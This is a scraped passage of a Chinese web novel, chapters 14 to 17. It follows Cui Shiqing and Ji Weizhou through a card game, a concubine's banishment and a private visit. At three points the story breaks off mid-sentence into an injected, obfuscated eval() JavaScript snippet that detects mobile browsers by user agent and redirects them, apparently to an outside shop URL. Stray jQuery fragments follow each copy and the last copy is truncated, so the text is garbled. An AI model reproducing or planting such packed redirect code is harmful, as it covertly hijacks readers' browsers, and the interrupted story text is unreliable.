许姨娘满脸不高兴地看着崔时清,“县主若有不快,只管冲着我便是,又何必戏耍我家三郎?” “冲着你作什么?这话真有些奇怪,三表兄自有舅母看顾,难不成姨娘还能做得了他们二位的主了?” 阴阳怪气吗?她也会啊! 崔时清面上浮起淡笑,直瞅着许姨娘,把她瞅得心慌慌的,连忙扭头看向纪舒明。 “我并无此意,只是心疼三郎,才想劝一劝表姑娘的。” 纪舒明与崔时清是不对付,可也没想着为了灭对头的威风,让一个姨娘越了母亲去。当即冷着脸,瞪了眼崔时清,敲打起许姨娘。 “母亲待妾室向来宽厚,姨娘也要安分守己才是。” 许姨娘憋屈地赔笑道:“二郎说的是,我们姐妹自是感念夫人厚德。” 纪澄雨看得姨娘碰钉子,忍不住软声撒娇,“兄长!你可不能听外人挑拨呀!” 崔时清似笑非笑地看着纪澄雨,还没开口,纪舒明就皱起眉,低斥了一声。 “没规矩!” 纪澄雨低着头,心里不服却不敢回嘴。 自打有了纪危舟,许姨娘就没受过这些气,心下发狠,暗道决不能让这崔氏女入门。 纪深云看准时机,敲了敲矮几,待众人看向他时,才笑着指了指天色。 “也不知阿兄有无闲暇,若来不了……” 别来别来,这已然够乱的,还是不来为好! “四弟诚邀,我怎会不来?” 在纪深云掐着手指,一通作法下,纪危舟温良无害地走了进来。 纪深云:“……” 纪舒明瓮声瓮气道:“怎么才来,都等着你了。” 崔时清看着一张精致的漂亮脸蛋,也忘了是她临时唤人来的,惯性使然地讥嘲道:“是啊,可真会挑时辰。”再晚点,埋人的坑她都掘好了。 纪危舟对着两位姨娘躬了躬身,目光扫过委屈巴巴的纪澄雨身上,淡然一笑,捧着钱箱子朝崔时清走去。 “筹措注码耽误了点时间,你莫要生气了。” 听到暗卫回报,纪危舟并未放在心上。 他深知,除了自己让崔时清吃过亏,眼前这一个个全拎出来,都不是小女娘的对手。 可既然小女娘特意寻他来撑场子,思量过后,纪危舟还是来了。来得还挺早,就在外头听了会儿墙角。 崔时清舌战群儒,他乐得身心舒畅。想起曾经群狼环伺的苦日子,差点喜极而泣。 这过得、是越来越有盼头了。 “呵,不靠谱。” 崔时清才不信他的鬼话,但也没捉着不放,点了点身边的蒲团,让他坐下。 至今在场的几人对于崔时清和纪危舟要成婚的事情,都没有什么切实的感觉,哪怕陈芝岚暗暗透了口风,他们还是觉得这是无稽之谈。 崔时清有多讨厌他家纪三郎,国公府上下都看在眼里,怎么突然就要成婚了? 怪哉! 这会儿眼瞅着他们之间的相处,虽没有未婚男女丝甜甜的暧昧,却是难得的融洽。 活见鬼了,真要成婚? 清隽温和、名闻天下的才子怎能与崔氏恶女相配? 几人目瞪口呆地看着并肩而坐的未婚男女,等了好半天,也未见俩人起什么龃龉,不由五味杂陈,颇感失望。 直到纪危舟把一箱子注码交与崔时清,许姨娘终于忍不住,双眼含泪、颤颤声道:“三郎?你怎可也……” 来了! 崔时清有些兴奋地看着许姨娘。 纪危舟眉头紧锁,与纪舒明等人交换了一个迷惘又担忧的眼神,关切地问道:“姨娘这是怎么了?面色如此憔悴,可要请府医来?” 崔时清的眉眼弯了弯,强忍笑意。 纪深云暗叹了一声,肠子都快悔青了。 纪澄雨不时偷看着崔时清,又眼巴巴地睁着水眸,嗫嚅了许久,刚要出声。王姨娘好巧不巧快了一步,笑盈盈地挥了挥帕子。 “三郎不必担忧,今儿日头有点毒,阿姐想来是染了暑热,回头我送完汤药,保管药到病除。” “有劳姨娘了。”纪危舟的神色颇为感激。 王姨娘握住许姨娘的手,用力拍了拍,爽朗地笑了几声,“我们共处十多年,怎么也该胜过亲姐妹,自会相护照拂,不必你们儿郎费心后宅之事!” 纪危舟点了点头,看着面色灰败的许姨娘,还想说些什么,纪舒明却失了耐烦,敲了敲矮几,粗声质问。 “还玩不玩了?” 指尖拨弄着散落在矮几上的叶子牌,纪危舟扬眉问:“这叶子戏的规则是什么?” 纪舒明气呼呼地瞟了一眼崔时清,抱怨道:“看看,非要找他来!有着功夫,我们都转几圈了?” 纪深云生怕又闹了起来,连忙接话,“没什么的、没什么!三人也可玩!” “我们聪明绝顶的三表兄,还会怕区区叶 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纪深云不知道崔时清在想什么,但无所谓,反正输得也不会是他。与王姨娘相视一眼,当即手脚利索地揽来洗牌的活计。 纪危舟瞥了眼金莲手串,掀起眼帘看向身边的女娘子,低声问:“你就这么信任我?” 崔时清差点没笑出声,上下打量着莫名自信的宿敌,以仅有彼此可以听到的声音,乖软地说道:“无妨呀!丢了我的颜面,我就另寻他人来替。” “……” 在衣袂的遮掩下,纪危舟悄悄勾了勾崔时清的手指。小小的指尖惊讶地躲了一下,立即就被他重新勾回,把玩过指骨的每一寸。虽说藏在袖下,但随着指腹的触觉,纪危舟的眼前已描绘出那双柔软纤细的手。 圆润的指尖泛着淡淡的粉色,握在他的掌中尽显玲珑可爱。 唇瓣莫名紧绷,他的思绪也被齿间的干渴所左右,暂时忘了一切不满,四肢百骸都在叫嚣着,期望亲吻过他熟悉的每一根手指。 可惜不能。 纪危舟眼底浮起一丝怨念。 在不长、却极度亲密的相处中,崔时清立刻就从纪危舟的眼神中,感受到了那股狂热的温度,耳根猝不及防就烫了起来。 这狗东西!怎么能在外面、在外面这样看她?! 崔时清又气又恼,狠狠挠了他一爪子,扯着蒲团往纪深云的方向靠了靠。 专注洗牌的纪深云并没有察觉到什么,反倒是其他人,都在等待中,被未婚男女足可拉丝的眼神,惊得瞠目结舌。 纪舒明在他们身上看出几分情意后,不知怎么的,越看、越是觉得—— 这恶女赖着这张好皮囊,与三郎也不是不能相配。 被长得好看的俩人蛊惑了片刻,纪舒明突然回过神来,举着拳头重重敲了敲自己的脑壳,为一时鬼迷心窍而懊悔。 把洗过的叶子牌放在中间,看着又‘病’了一人,纪深云心力交瘁。 “阿兄,你又怎么了?” 15. 糊涂 崔时清正羞恼着,听到这话,还是分出心神,帮着回了一句。 “兴许脑瓜又浸了水。” 纪深云正烦得不行,闻言随口跟了声,“病得五花八门啊。” 王姨娘嘴比脑快,“还真是呀!” 许姨娘:“……” 纪舒明往纪深云胸口上捶了一拳,瓮声瓮气道:“你也跟着使坏!” 崔时清乐不可支,桃花眼眯眯笑着,与纪危舟对上眼神,斜睨了他一眼,扬着下巴扭开头,又瞅着满脸苦相的纪深云,一阵幸灾乐祸。 纪澄雨对金莲手串势在必得,顾不得纪舒明的顽疾,挽起衣袂,兴冲冲地盯着叶子牌。 “谁先起牌?” 纪深云揉着胸口,蔫蔫地从荷包里取出两枚骰子,放在几上。 “大者先起。” 骰子点数最大的是纪危舟,没玩过叶子戏的天道之子慢悠悠地听着几人的指挥起牌,出牌。 不可思议的是,纪危舟把把都抓到大牌,还没看明白叶子戏的规则,就被宣布、赢了! 只负责洗牌的纪深云,洗牌洗得汗流浃背、又心肝乱颤的,生怕被其他三人捉出来,暴打一顿。 崔时清全然没有盟友获胜的喜悦,把冻果子咬得咔哧咔哧响,在心里暗骂。 作弊之子! 见过欺负人的,就没见过这么欺负的! 崔时清反思了一下,又收回了后面那声腹诽。 呵,心疼他们做什么?他们丢掉的只有钱财和好气色,我丢掉的可是八条命啊! 崔时清恶狠狠地瞪着纪危舟,用力啃咬着水鹅梨,以此寄情。 啪嗒一声,纪舒明丢下手中的牌,急赤白脸地瞅着纪深云,拳头握得咔咔响。 “你都洗的什么破牌?!是不是和三郎私下做了见不得人的买卖?!” 来了,果然来了! 纪深云混迹勾栏瓦舍多年,头一遭碰上这种事,瑟缩着身子,颤颤巍巍地伸出双手。 “我没有……”辩解如此苍白,连他自己都不敢相信他的无辜。 纪深云意识到这一点,差点儿没哭出声来。 “兄长何意?”纪危舟凝神注视着纪舒明,眉眼间温润不改,长指轻捏的仿佛不是叶子牌,而是书画名家绘制的花笺。 纪舒明默了默,还是吃不下这亏,转而瞪向崔时清。 “你怎可教坏三郎?!” 这都能赖上她? 崔时清大为震惊,欲言又止地瞅着纪舒明,随即轻叹了一声。对着同命相连之人,多了不曾有过的肚量,耐心解释。 “你家三郎运气好,与我无关。”她可巴不得狗东西大败一场! 王姨娘眼神空洞地靠在凭几上,称叹道:“这运道也太好了吧,要是搁在赌坊,可是要被剁掉手指的。” 纪深云一双眼睛湿哒哒的,听着生母这话,连忙就把手指头藏了起来。 没有,他真没有! 纪澄雨板着脸,不高兴地说:“这么玩叶子戏,是要遭人排挤的。” 王姨娘点了点头,很是认可。 再看着哭唧唧的儿子,妒忌许姨娘的心熊熊燃烧。 许姨娘在旁观战,越看面色越是凝重,心想这可不像是第一次博戏。 在外历练两年,学会撒谎了?! 纪危舟感受到从四面八方投来的复杂目光,思忖着,这是惹了众怒? 他放下手中的叶子牌,依旧风清正气地淡笑着,只是望着他们的眼神里多了分犹疑。 “我牌技不佳,败了诸位的兴致。” 王姨娘幽幽道:“这,也不是牌技的问题。” 纪舒明接话,“根本没有机会用上牌技。” 纪澄雨也忍不住抱怨,“牌技是什么?” 纪深云见缝插针道:“其实,也不是我的问题……” 话音刚落,其他三人整整齐齐地看着他,眼里写着谴责。 “……”纪深云抱紧了自己。 纪危舟正襟危坐,认真的模样堪比在学堂中聆听夫子教诲。 过了片刻,他才斟酌着,说道:“我已知道叶子戏的规则,多玩几局,想必也不会如此好运了。” 纪舒明扯了扯唇角,“我不信。” 王姨娘重重点头。 纪澄雨嘟着嘴,水眸里也是质疑。 竹屋内安静了片刻,纪危舟惦记着女娘子的威胁,只好无视亲友的苦色,大胆提议。 “不如继续?” “我的注码都输光了,还继续什么!” 纪舒明用力戳了戳矮几上的牌,没好气地解下腰间的佩玉,又依依不舍地摘了扳指,凄凉地缩成一团,往纪深云身边挤了挤,寻求安慰。 纪深云身心都凉了,哪里送得出温暖。瞅了眼面无表情吃冻果的崔时清,他眼睛湿湿的,想要投入‘狐朋狗友’的怀中。 脑袋够了够,只碰到一团空空,抬起暗淡的目光看了眼,却发现他与朋友之间的距离,突然变得无比的遥远。 “表妹!” 瞬间移动的崔时清也愣了一下,看着拉扯她身下蒲团的手,无言片刻,又赏了一爪子。 “还请三表兄慎行。” 纪危舟温声认错,“一时心急,唐突时娘了。” “……表妹啊。”纪深云眼巴巴的,又唤了一声。 崔时清斜眼给了一个余光,“叫魂啊?” 纪深云委屈巴巴,“你都不理我。” 纪危舟真挚地笑问:“四郎又想玩什么了?我今日无事,可以奉陪。” 纪深云忍着泪,乖巧地说:“……不了,时候也不早了,不如各自归去的好。” 纪危舟颔首,似是赞许。 拨开纪舒明的心爱之物,取来金莲手串递与崔时清,目光温和地望着她,“这些注码太沉了,稍晚些我请人送到时娘院中。” 崔时清哪里听不出来,他是要自己亲自来送的意思,斜睨着纪危舟,倒也没有拒绝。 “随你。” 指尖勾着手串随意拨弄了几下,她兴致缺缺地站起身来,自顾自地潇洒而去。 纪危舟目送崔时清离开后,转身问纪舒明。 “兄长要回院子?” 痛失所爱的纪舒明拍了拍越发朴素的袍子,没精打采地看着他。 “回吧,我得歇歇。” 王姨娘扶起不争气的儿子,笑盈盈道:“我们也走了,改日再约。” 纪深云擦了擦眼角,坚强应和,“改日、改日再会。” 纪危舟望着坐在原处、一动不动的许姨娘,面色如常地走上前,伸出双手弯腰搀扶,许姨娘却面色冷淡,冷眼看着不作回应。 纪澄雨默默低下头,充当摆设。 纪危舟空悬双手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438181|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望着许姨娘的眼睛。 这双伴着他成长的眼睛,永远这么冷漠又无动于衷。但再怎么让人难熬的注视,历经九世,怎么也都习惯了。 “姨娘?”纪危舟面不改色,弯着腰,唤了一声。 许姨娘后仰身子依靠在凭几上,自下而上地看着纪危舟,声音里是压抑不住的愠怒。 “你知道今日,自己在做什么吗?” 纪危舟收回手,顺势坐了下来,指尖划过琉璃盏上崔时清吃了一半的冻果子,有些心不在焉。 “三郎!” 纪危舟迎上许姨娘气急败坏的面容,叹了口气,“姨娘何有此问?未婚妻子派人相请,我又怎可拒绝?” 许姨娘怒斥道:“胡说!采纳问名皆无,算得什么未婚妻子?!” 纪危舟低眉敛目,只说:“祖母派人去请崔家长辈,不日便可入京。姨娘不必担忧,我已有章程,必会尽快办妥六礼,迎娶时娘入府。” 许姨娘:“……” 纪危舟又道:“想来,过几日回了国公府,就会筹备起来的。” 许姨娘咬牙切齿地指着纪危舟,口不择言,“崔家时娘生性浪荡、顽劣恶毒,不可为妻!” “姨娘同为女子,也不该说出此等污言秽语!”纪危舟的眼里聚起寒意,紧绷着下颌看着她。 许姨娘心有不甘,望着纪危舟的眼睛也多了些怨恨。 此子怎敢如此对她? 若无她的庇佑,他只是一个见不得人的外室之子! 纪澄雨恨不得把自己的耳朵捂上,也颇为后悔,方才没有同其他人先行离开。 在僵持不下的气氛中,她慌里慌张地抬起僵硬的脖子,扫了一眼纪危舟,随后嗫嚅地说和。 “阿兄也知,姨娘向来是最和善的,方才、方才只是关心则乱,姨娘心疼阿兄,这才说错了话。这些都是外头传来的,并非她心中所想啊。” 许姨娘顿时泪流满面,哭得很是凄凉,“我辛苦照养你成人,盼着你功成名就、不因庶子身份而低人一等。可到头来,却要眼睁睁看你自毁名声!早知如此,还不如请老爷许我剃了头发,入山清修为好!” 黑眸沉沉地看着许姨娘,正色道:“削发修行之事,姨娘想好了?” 许姨娘的哭声哽在喉间,惊愕地盯着纪危舟,气得浑身颤抖。 外室之子!外室之子!养不熟的白眼狼! 纪澄雨连忙拉着纪危舟的衣袖,泪眼朦胧道:“阿兄说什么?姨娘是病得糊涂了,你怎能把这当了真?!” 纪危舟面色依旧紧绷,无悲无喜地看着许姨娘,声音冷硬地提醒道。 “姨娘是读过诗书,懂得几分道理的,也该知道慎言慎行方得长久。哪怕,为了五妹的前程,也不应该再乱了分寸胡言乱语。” 一阵寒意从脚底涌起,许姨娘骤然忘了怨恨,眉眼俱是迷茫地望着眼前的人,感到无比陌生。 “三郎……” “姨娘病得不轻,我去准备软轿,还请五妹随姨娘回去后仔细照料。” 纪危舟没了耐心,与纪澄雨交代了几句,恭恭敬敬拜了一礼。 走到竹屋外,看到了王姨娘母子,在对方震惊的目光下,纪危舟颔首招呼一下,便端着琉璃盏离开。 “我、我们也走!快、快!” 母子二人兴奋地对视一眼,牵着手,兴冲冲地往回走。 16. 蝼蚁 消息传得很快。 不到一个时辰,国公府京郊庄园内、上上下下都知道许姨娘不满三郎和表姑娘的婚事,又哭又闹的,还要落发出家。 不比应对思凉阁之夜传闻的雷厉风行,大部分人都还没明白过来什么,所有的消息都被按下,好事者也被迅速封了口。姨娘和小辈们各有猜想,却也不敢在吴氏和国公爷夫妇的威严下,顶风碎嘴。 对于许姨娘之事,可没有了顾忌,便议论纷纷起来。 而许姨娘刚坐着软轿回院子,看过府医后,送来的汤药还没用,就被吴氏身边几个粗使嬷嬷搀着去问话。 寿康院里,许姨娘进屋还没有一炷香,吴氏已砸了三个茶盏,都没说利索又被送了出来。尤嬷嬷早早候在了院外,跟相熟的老人招呼一声,就接来许姨娘往正院去见陈芝岚。 不多时,许姨娘被迎着上了回国公府的马车,陪同嬷嬷只道她要为干旱受灾的百姓们祈福,发愿于小佛堂内抄经三个月,期间闭门谢客、以示虔诚。 纪澄雨哭得肝肠寸断,差点昏过去,府医几针之下,平复了心情。哭唧唧地想去缠着纪危舟央求却没见到人,在吃了一碟子的阳春白雪糕,捧着江南准备的首饰奁盒,才五味杂陈地回了院子。 * 崔时清看了一场叶子戏,心里很沉重。 想起之前几世的经历,无量数的图纹一直在眼前不断闪现,就像是天道嘲弄的目光,告诉她—— 你做的所有努力,都是幻梦一场。改变不了,也休想逃掉。 崔时清蜷缩身体,随着自心底深处发出的惊颤,摇椅战战兢兢摇摆,心里更是升起了软弱的念头。 如一叶孤舟,在空茫茫的天地间,不辨前路又无所依靠。 崔时清受不了这样的空寂,也无法忍耐天道不断攫取着她的生命。 好似、好似最终,她会被蚕食殆尽,一点点丧失她的脊梁。 那时,崔时清不再是崔时清,而是天道掌中的泥塑娃娃。一个徒有其表、空洞又乏味的,取名‘崔时清’的泥塑娃娃。 她不甘心! 她不愿意! 崔时清一跃而起,伴随着遽然响起的雷鸣,目光坚毅地仰视苍穹,任由一道破空的闪电照得她面目青白,一步一步走上前。 “我不会屈服,绝对、不会!” 雷声滚滚砸下,疾风聚起乌沉的黑云,一再被紫雷劈开、又堆叠,沉甸甸地积压成团,遮蔽天日,却不见半滴清雨降落,润泽大地。 施与的,只有威压、与警告。 崔时清突然兀自狂笑,指天叫骂,眼中癫狂又轻蔑。 “没用的东西!” 话音且落,身边的长颈瓷瓶刹那间被雷电击穿、碎成粉齑。崔时清眯着眼睛看了几眼,双手叉腰、气势汹汹就要冲上前去,立刻飞天干架。 “主子!” 玄鱼和桑麻一左一右抱住了那双冲劲十足的腿脚。 挣扎了几下,崔时清低下头,看见脚边两颗乱糟糟的脑袋,一时不知要说什么,呆了呆,斥责道。 “你们想干什么?还不松开!” “主子,您要冷静!”玄鱼不听,反而搂得更紧了些,蹭了蹭慌张间掉的泪,眼圈红红地瞧着崔时清。 “我这要怎么冷静?!”崔时清瞪着眼睛问。 说实在的,被俩人这么一打岔,她的怒气也哑了火。可是一时之间却无法调整状态,连说话的声音也还是冷冷硬硬的,带着暴躁。 崔时清也只好这样,半真半假地继续生着气。眼看跟玄鱼说不通,转而看着另一颗听话的脑袋,声音严肃地唤她。 “桑麻。”还不管管这只傻鱼! “主子,外面雷电交加,您不可不顾自己。此处也不太安全,不如婢子们送您回里屋?” 怎么也不听话了? 崔时清无奈地耷拉着双手,有气无力地道:“知道了,知道了!回里屋!你们快给我松开!” 桑麻和玄鱼悄悄对视了一眼,当即有了默契,紧紧抱着崔时清的脚,蛄蛹蛄蛹身子,向后退。 被拉扯着,也后退了几步,崔时清又急又恼,想要发作,偏偏又被困着抽不出身来。 崔时清扭头向后,看着俩人古怪的动作,难以置信道:“你们疯了吗?!” 主子,发了癔症的是您呀! 桑麻和玄鱼心里苦,却不敢放开手,生怕崔时清再次犯了病,指天叫骂、一副要跟天老爷拼命的模样。 要是不慎被雷电劈中,可是要人命的呀! “您再忍忍。”桑麻极力用温和的声音,劝慰道。 “是的是的,我们马上就安全了!” 玄鱼边哭边蛄蛹着身子后退,分明也被天雷吓得不轻,偏不肯听从命令,任由崔时清犯浑去。 紧贴着小腿的是两张嫩生生的小脸,透过轻薄的夏裙,崔时清可以感受到她们温温软软的颊肉,忽而心间没有散尽的怨恨与不甘也在温温软软的触感下,化作轻飘飘的一声叹息,随天际急涌的风云远去无痕。 到了她们心中绝对安全的地方,桑麻和玄鱼垂着头,松开了颤抖的双手,等待惩处。 崔时清看着她们伏跪在地,一念突起,想起有几日没有听婢子们说笑逗趣。她也可以随意地坐在地上,听一听傻鱼的话本子,也许她还会跟着闲谈几句。 崔时清扫过她们害怕发抖的身体,眼里没了期待,坐在榻上望着同样战战兢兢、无法掌控生死的‘蝼蚁’。 天道,也是这样看着她的。 那股说不清、道不明的悲凉,再次充斥着她的四肢百骸。这一次,崔时清没有抗拒,反而以一种极端的冷静,感受着身不由己的恐惧。 她想,只要足够地了解,‘蝼蚁’也可以赢。 “抬起头。” 崔时清的声音很低,她们却听得很清楚。身体没有了反抗,听从这道指令。 看着发髻松乱、衣裙不整的婢子,目光暗淡无神,是被规训过无数次的眼睛,服从被刻入了她们骨子里的。 这样的眼睛,崔时清见过很多很多,全是一样的晦暗不明、一样的空洞麻木,让她很多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13466682|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候都忘了—— 这双眼睛也可以鲜活。 只要足够坚信,就可以重新点亮。 崔时清不动声色地观察着她们,看着她们发红的眼睛、被冷汗浸湿的细发、微微翕动的鼻子、抿起的嘴唇…… 无意识地扣弄着金莲珠子上的纹路,崔时清坐直了身子,也跟着抿了抿唇瓣,而后才勉强发出了声音。 “站起来。” 桑麻和玄鱼愣怔一瞬,湿红的眼睛不受控制地眨了几下,迷茫地望着高坐在上的人。 崔时清烦躁地拨弄着手串,看着她们凶巴巴道:“你们是傻了,还是要造反?!都不听话了?” “奴婢不敢!”桑麻和玄鱼惶恐不安,不知是要站起来,还是先磕个头。 崔时清没好气地重复道:“起来!跪着碍眼!” 桑麻和玄鱼没有再迟疑,双手撑地,不太利索地站直了身子,垂首侍立。 崔时清无言片刻,看了一眼窗棂外恢复晴朗的天气,暗骂一声,本想让她们出去的话,刚到嘴边又变了语调。 “……有什么趣闻吗?” 桑麻今日一直跟在崔时清身边,她知道的,对方也知道,便转头看向了玄鱼。玄鱼吸取了之前的教训,立刻在一堆趣闻中,找来了最容易讨主子欢心的事情。 “许姨娘要出家了!”浅浅说了一嘴,她便学起了桑麻耳提面命的眼力见,观察听者面色,判断是否要继续说下去。 才见过的人,心气高着,怎么转眼就要出家了? 崔时清面无表情,等着玄鱼的大喘气后,继续说。 “……” 主子想不想听呢?玄鱼面露苦色,她的‘眼力见’根本无处发挥。 崔时清等了好久,没忍住看向桑麻,眼神问:你管的人,咋回事?眼力见都被狗吃了啦! 桑麻扯了扯玄鱼的衣袖,“继续说……” 玄鱼得到答案,大大松了口气,眉飞色舞地说道。 “真看不出来,许姨娘居然有一副菩萨心肠,听说延县好几处村子遭了旱灾,又哭又闹的,就要落发出家。说是要给百姓们祈福。老爷夫人没同意,砸了好些东西,最后就只准让她在府里的小佛堂住三个月。这会儿人都走了,估摸着夜里就能给百姓添不少福气了!” 崔时清和桑麻听了半天,不约而同地摇了摇头,不知她从哪里听来的荒唐话。 下午还阴阳怪气的人,看了几局叶子戏就成菩萨了?这种鬼话也只有,嗯,只有眼前这个眼神清澈、记吃不记打的呆头鱼会相信。 估摸着许姨娘的脾性,崔时清三两下就猜出了里面的弯弯绕绕。 这姨娘必定是与狗东西闹了一场,原因是、不许他们成婚,故而才被送回去禁足的。 那厮受气了呀! 怪不得他爹那么恼火!嘻! 崔时清偷笑过后,看着玄鱼又有些怅然,语重心长地嘱咐桑麻,“多看着点她,小心被人骗了去。” 桑麻深感重任在身地点了点头,“是,主子放心。” 玄鱼:? 17. 后悔 看着玄鱼圆圆的眼睛、肉肉的脸蛋,桑麻小小的嘴巴、诚恳的目光。崔时清突然记起纪舒明送来的山鸡,迫切地想要关切一番。 “那只鸡还活着吗?” 桑麻面色发白:“……” 她当时怎么不一锅端,把山鸡都炖了呢? 玄鱼面露惊恐:“……” 主子还惦记着大锅炖小花,这可怎么办! 崔时清把俩人的小心思看得是清清楚楚,掰了掰手指头,先收拾老实人。 “桑麻?” 桑麻老实巴交上前一步,从实招来。 “小公爷送来山鸡,还说了几句逗弄人的话,奴婢怕惹您烦心,便没有禀报。”本以为只是件小事,可却怎么也翻不了篇,整日提心吊胆的,可真是悔不当初。 崔时清嗤了声,点了点垂头丧气的脑袋,骂道:“没出息的东西。” 桑麻忐忑地认了错,“奴婢再也不敢了。” 崔时清眉眼微动,坐正身子,声音肃然地说:“下一次再碰上这种事,直接把鸡杀了,送两盅鸡血回礼。” “……主子。”玄鱼的声音都抖了起来,欲哭无泪地直瞅着她。 崔时清没好气地提高了音量,重复道:“下一次!” 纪舒明送的是山鸡吗?分明是迷魂药吧!把这一个个药的五迷三道的。 玄鱼小小声问:“主子不会炖小花了?” 崔时清不解,“小花?” 玄鱼甜丝丝地答:“您的山鸡呀!我见它羽色花俏,就取了这个诨名。主子,您给小花换个好名字吧!” 崔时清安静了一下,“不要。”她才不要给山鸡取名! 玄鱼目露可惜。 崔时清挥手让她上前,摸了把肉乎乎的脸蛋,问:“你怎么还胖了?有在好好喂鸡吗?” 玄鱼羞答答地点了点头,“主子院里的茶饭好、又管饱,我和小花都不愁吃的!” 崔时清暗叹失算,“这都怪我。” 玄鱼歪着头,迷茫地眨巴眨巴眼睛,却还是立刻讨乖道:“主子才没有错,主子是世上最好的人了!” 谁要当好人了?! 崔时清不乐意地瞪了玄鱼一眼,随即又想起痛下杀手的那几世,在明晃晃到有些刺眼的笑容下,心虚地摸了摸鼻尖。 “以后不准说这种话了!”崔时清凶巴巴说完,微妙的心情顿时没了踪迹。长长舒了口气,自在地扬着头颅。 怎么能说她是好人,这不是在挑衅吗! …… 玩闹的闲趣淡了下来,崔时清独自深思着,把近来的事情仔细过了一遍。 褪去初时的无措和不自在,再去细想,那一夜的事情总透着一丝古怪。分明安排好了每一步,本该要去思凉阁的人,却躲在她的必经之路? 事后盘问过服侍的婢子,说是天黑路滑,不慎使披风落了灰,重新回去取衣才耽误了时间。 虽然这个说辞并非没有疑点,可深究根本,是她酒染衣袂才有了婢子离去之事,后续的一切也就不难解释。若要让她来说,也可以说得天衣无缝,然而哪怕如此,她心中最后的那一丝怀疑,却始终还在。 崔时清拨弄着掌中的玲珑球,随着球体转动,层层嵌套的镂空花纹间不时逸散出石榴色的亮光。 她低着头,一边寻找藏在最深处的夜明珠,一边动了动唇瓣无声自语。 若是存了古怪,只有两个原因。 要么,自己是故意打翻酒盏的;要么,就是有人暗中做了手脚。 前者不可能,后者、她不相信。 谁会做这种事?又能得来什么? 纪危舟?她不相信现在的天道之子有这种能力。如果有,她也不必忙了,直接跟着许姨娘出家好了! 是她多思多虑了吗? 不行,必须尽快得到一个答案!别人给的答案! 崔时清扔下玲珑球,跑到书案前咬着唇写了三封信件。其中一封用油纸封好,埋入窗棂边摆放的菖蒲盆中,随后剪下长叶。 另外两封书信交由婢子,命人连夜送出。 刚交代好书信的事,纪危舟就抬着一口箱子大大咧咧走了进来。 崔时清瞅着大箱子,眼皮跳了跳,冲上前揪着他的衣襟,质问道:“说清楚了!你究竟是怎么进我院子的?!” 捧着鱼浅爬树就很离谱了,这口可以再装个人的箱子呢?狗洞都塞不进! 难不成他还会妖术?! 崔时清紧紧攥着他的衣袍,随时准备和这妖精同归于尽。 “好好好,我说,我全部交代!软软先松松手,松松,容我说完再行刑吧!” 纪危舟捧着她的双手,狼狈求饶。 还是气不过,崔时清狠狠踢了他一脚。看他吃痛地弯腰抱腿跌坐地上,凄惨仰视她的模样,心情舒畅了不少。 崔时清居高临下地斜睨着,这位已不太体面的天道之子,眼神透着杀意,盘问道。 “说清楚!再敢糊弄我,你就等着瞧!” 她的隐忍,可是有限度的!大不了再拼个你死我活,反而痛快! 崔时清生冷的态度,让纪危舟面上心中都委屈得很。耷拉着狭长的黑眸,也不装模作样抱腿了,长臂环着那口大箱子,下颌支在臂弯间遮住了半张脸,声音闷闷地开口。 “从偏门走进来的。我与看守偏门的马婆子相熟,只道与你有约,她老人家就放我进来了。” 崔时清难以置信,甚至还略微弯下了腰,看着他的眼睛。 “你说这鬼话,她也相信?!” 她知道看守偏门的马婆子,年岁虽长,却高大壮实、耳聪目明,并不是那些几口酒菜就可以糊弄的婆子。 纪危舟抬起眼,黑眸清亮地说:“为何不信?马婆子还嘱咐我常来陪你,免得你无人相伴、惹人心疼。” 这么热心肠? 崔时清无语片刻,指着纪危舟的鼻子骂:“老人家心肠好,你就骗她?你不愧疚吗?” 纪危舟顺势握住她的手腕,拉她入怀坐在腿上,一本正经地直视着崔时清。 “没有骗人。我与软软约好了,不是吗?” “你自说自话,我又没同意。”崔时清戳了戳他的良心,反驳着。 纪危舟面不改色,丝毫没有被戳着良心质问的忐忑,低头靠在崔时清的肩上,没了骨头一样,贴着不放。 “……可我想你了,想每天都能见到你。” 崔时清不耐烦地推了下他,眼瞅着人又黏了上来,还有气无力的,神情颇为落寞。 她马上就来了兴致,纵容着他的小动作,似笑非笑地问道:“在你姨娘那儿受气了?” “软软很高兴?”纪危舟随口一问,得寸进尺地轻啄起她的颈窝。 崔时清没有再克制,弯着眼,咧嘴笑道:“你们欺负我,现下受了罚,我自然要高兴的。” “怎么欺负你了?” 纪危舟说话间,也没有停下动作。长衣落地,崔时清却浑然不知,只顾着幸灾乐祸。 “都不用想,你们定是说我坏话了!” “生气吗?” “有什么好生气的,我才不在乎她。” “如此也好。” “你莫不是也以为我松了口,自此就是你家小妇人了?还得忍气吞声,任人敲打?” “并未。” “没有就好!也告诉你姨娘、谨记身份,认不认她可全凭我的心情,普天之下谁也挑不出错处的。” “嗯。” 纪危舟失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 